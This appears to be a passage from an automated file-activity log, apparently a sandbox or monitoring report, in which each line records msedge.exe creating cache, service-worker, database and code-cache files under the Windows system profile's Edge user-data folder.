Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\7ee6097a-50bd-4e6a-b13d-f1e8eeebec5c\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\d9bff835-3de3-4687-b7e6-8e8226acb506
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\d9bff835-3de3-4687-b7e6-8e8226acb506\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt~RF5f92c.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\d9bff835-3de3-4687-b7e6-8e8226acb506\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\d9bff835-3de3-4687-b7e6-8e8226acb506\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\bc10140ccc487cbf_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6e5d9fe0a946b57f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\d9a03987b4ec773e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4264252590b436ca_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6f83d554b4c91c01_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\1c7c53ae3c59cfe1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9149d681662a6e39_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\64ed8a037a2f94fd_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fe39ccdcb766bff9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a67b6886fc3a1533_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\bcbeb99c632832c4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\c9ea93077e6479eb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f9f14e821fcb4c3e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\73a155ccb96a34df_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\7e276c1c0fd04047_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\561af5d42344f371_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ce4b08ebb1d3bbfb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f4f9c98ed04b5ec4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\1a4559480b03e3ce_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\71e04dd11a8b8c73_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8b65a96eb9aee0b0_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2af50681e7e165d7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\33f60a11fe8d3c4d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\d9bff835-3de3-4687-b7e6-8e8226acb506\51799300f73251f6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6840e7e9b84ec2af_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3629afc6d6acd41e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8d22457d87f44ef8_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9856673ea76d0deb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\56de766e4b855cff_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt~RF5ff28.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\79aca4930c963cc4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\79aca4930c963cc4_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ab1bc50940155da2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ab1bc50940155da2_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\1ec501c0deb2b230_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\50d287955aa0db29_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\50d287955aa0db29_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b9c2093a42ab626e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b9c2093a42ab626e_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\fe28fecdb95e061d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\fe28fecdb95e061d_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\55a83b115fd80ff7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\55a83b115fd80ff7_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fd78a0385768f031_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\220b19b1a50a5193_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\19d3a2ebe01e9d93_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8e22a32560be33db_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3dd2ccc2ea2b051a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\19d3a2ebe01e9d93_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\cbec4dd87a69e757_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\07b1950aac4cbcd7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a02b8787951af064_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\07b1950aac4cbcd7_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\a04c66213289cbcc_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\a04c66213289cbcc_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b29ae22bf7251723_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b29ae22bf7251723_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\cdf823ec88206886_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\cdf823ec88206886_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ebc969827e6e78fa_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8bc61d4d469e2ce1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\4b2031c4900ecc4a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\4b2031c4900ecc4a_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\c4d2fa04c172ed30_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\c4d2fa04c172ed30_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0a35853fdac8eb01_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0a35853fdac8eb01_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\3724a6a8fc82d494_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\3724a6a8fc82d494_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\03ef8094c0f96a5f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\03ef8094c0f96a5f_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\217a7ae8a3007b2b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\95737fb756b79a44_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\95737fb756b79a44_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\db0c0490c2e282cb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\db0c0490c2e282cb_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\d1c87e07019d8b4e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\d1c87e07019d8b4e_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f7b67dad731ab807_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f7b67dad731ab807_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b7759e79df45235f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b7759e79df45235f_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0b17bb7e9cf5a436_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0b17bb7e9cf5a436_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0f0839cc28cc3d3e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0f0839cc28cc3d3e_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b5b383720128fe63_0
